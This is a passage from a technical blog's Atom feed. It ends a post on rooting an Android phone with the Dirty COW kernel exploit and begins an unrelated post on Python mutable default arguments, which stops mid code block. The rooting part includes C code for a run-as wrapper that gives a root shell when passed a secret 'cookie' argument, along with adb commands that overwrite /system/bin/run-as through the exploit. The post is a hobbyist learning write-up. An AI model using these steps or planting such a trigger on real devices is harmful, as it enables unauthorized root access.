&lt;li&gt;&lt;code&gt;run-as.c&lt;/code&gt; that uses &lt;code&gt;selinux&lt;/code&gt; to run as root&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I had only modified &lt;code&gt;run-as.c&lt;/code&gt; a little to call the original &lt;em&gt;unpatched&lt;/em&gt; &lt;code&gt;run-as&lt;/code&gt; program by default and drop a root shell only under a special condition. We don’t want that &lt;em&gt;anyone&lt;/em&gt; can call it and become root!&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pkgname&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="n"&gt;pkgname&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pkgname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;cookie&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* Rollback to the default run-as . */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;argv2&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argv2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argv2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;execvp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/system/bin/run-as.bck&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;a href="https://developer.android.com/ndk/guides/ndk-build"&gt;compilation&lt;/a&gt; then went smoothly:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$PATH&lt;/span&gt;:/usr/lib/android-sdk/ndk-bundle/
$&lt;span class="w"&gt; &lt;/span&gt;ndk-build&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;NDK_PROJECT_PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;APP_BUILD_SCRIPT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;./Android.mk&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;APP_ABI&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;armeabi-nn&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;APP_PLATFORM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;android-nn
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="patching"&gt;Patching&lt;/h2&gt;
&lt;p&gt;We upload the exploit and our &lt;em&gt;custom&lt;/em&gt; &lt;code&gt;run-as&lt;/code&gt; program to the phone:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;adb&lt;span class="w"&gt; &lt;/span&gt;push&lt;span class="w"&gt; &lt;/span&gt;libs/armeabi-nn/dirtycow&lt;span class="w"&gt; &lt;/span&gt;/storage/sdcard0/dcow
$&lt;span class="w"&gt; &lt;/span&gt;adb&lt;span class="w"&gt; &lt;/span&gt;push&lt;span class="w"&gt; &lt;/span&gt;libs/armeabi-nn/run-as&lt;span class="w"&gt; &lt;/span&gt;/storage/sdcard0/run-as
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We make a backup copy of the &lt;em&gt;unpatched&lt;/em&gt; &lt;code&gt;run-as&lt;/code&gt; program and trigger then the exploit. If everything goes well the &lt;em&gt;read-only&lt;/em&gt; &lt;code&gt;/system/bin/run-as&lt;/code&gt; will be &lt;em&gt;replaced&lt;/em&gt; with our custom &lt;code&gt;run-as&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;adb&lt;span class="w"&gt; &lt;/span&gt;shell&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;cp /system/bin/run-as /storage/sdcard0/run-as.bck&amp;#39;&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;adb&lt;span class="w"&gt; &lt;/span&gt;shell&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/storage/sdcard0/dcow /storage/sdcard0/run-as /system/bin/run-as --no-pad&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We run &lt;code&gt;run-as cookie cookie&lt;/code&gt; and we get a root shell; bypassing &lt;a href="https://www.redhat.com/en/topics/linux/what-is-selinux"&gt;SELinux&lt;/a&gt; will be for another post &lt;a href="https://hernan.de/blog/tailoring-cve-2019-2215-to-achieve-root/"&gt;:D&lt;/a&gt;&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/08/22/Rooting-Android-with-a-Dirty-COW.html" rel="alternate" type="text/html" title="Rooting Android with a Dirty COW"/>
    <category term="android" label="android"/>
    <category term="root" label="root"/>
    <category term="privilege" label="privilege"/>
    <category term="priv-esc" label="priv-esc"/>
    <category term="escalation" label="escalation"/>
    <category term="dirty-cow" label="dirty-cow"/>
    <published>2021-08-22T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/08/14/Fresh-Python-Defaults.html</id>
    <title>Fresh Python Defaults</title>
    <updated>2021-08-14T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;When defining a Python function you can define the default value of its parameters.&lt;/p&gt;
&lt;p&gt;The defaults are evaluated &lt;em&gt;once&lt;/em&gt; and bound to the function’s signature.&lt;/p&gt;
&lt;p&gt;That means that &lt;em&gt;mutable&lt;/em&gt; defaults are a bad idea: if you modify them in a call, the modification will persist cross calls because for Python its is the same object.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;x&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[]):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;!&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;a=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; b=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; c=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# uses the default list&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# uses the *same* default list&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;z&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="c1"&gt;# uses another list&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;z&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# uses the *same* default list, again&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A mutable default can be used as the function’s private state as an alternative to functional-traditional &lt;em&gt;closures&lt;/em&gt; and object-oriented classes.&lt;/p&gt;
&lt;p&gt;But in general a mutable default is most likely to be a bug.&lt;/p&gt;
&lt;p&gt;Could Python have a way to prevent such thing? Or better, could Python have a way to &lt;em&gt;restart&lt;/em&gt; or &lt;em&gt;refresh&lt;/em&gt; the mutable defaults in each call?&lt;/p&gt;
&lt;p&gt;This question raised up in the &lt;code class="none"&gt;python-list&lt;/code&gt;. Let’s see how far we get.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="signatures"&gt;Signatures&lt;/h2&gt;
&lt;p&gt;The beauty of most dynamic languages is the ability to reason about themselves.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;inspect&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;inspect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Signature&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;x&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;inspect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;signature&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; does not retrieve the &lt;em&gt;“static”&lt;/em&gt; signature of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but its &lt;em&gt;current-alive&lt;/em&gt; signature. That’s why we get &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; instead of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;While &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Signature&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is an immutable object, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Signature&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; parameters’ defaults aren’t:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;sig&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;inspect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;sig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parameters&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;c&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;clear&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="c1"&gt;# clear c&amp;#39;s default list&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# uses the same but &amp;quot;refreshed&amp;quot; default list&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;sig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parameters&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;c&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;clear&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="c1"&gt;# clear for the next call&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is an interesting way to refresh default objects but &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;clear&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is not universal: it works for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;dict&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but not for user-defined objects.&lt;/p&gt;
&lt;p&gt;Still, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;inspect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;signature&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; gives the name of the parameters that have a default and it is a good starting point.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parameters&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;params_with_defaults&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;param&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;param&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;items&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;param&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;param&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;empty&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="mutability"&gt;Mutability&lt;/h2&gt;
&lt;p&gt;No all the default objects need to be refreshed: immutable ones are perfectly safe as their value, by definition, cannot change.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;const_types&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;frozenset&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;frozenset&lt;/span&gt;&lt;span class="p"&gt;()),&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;tuple&lt;/span&gt;&lt;span class="p"&gt;()),&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;       &lt;span class="c1"&gt;# str&lt;/span&gt;
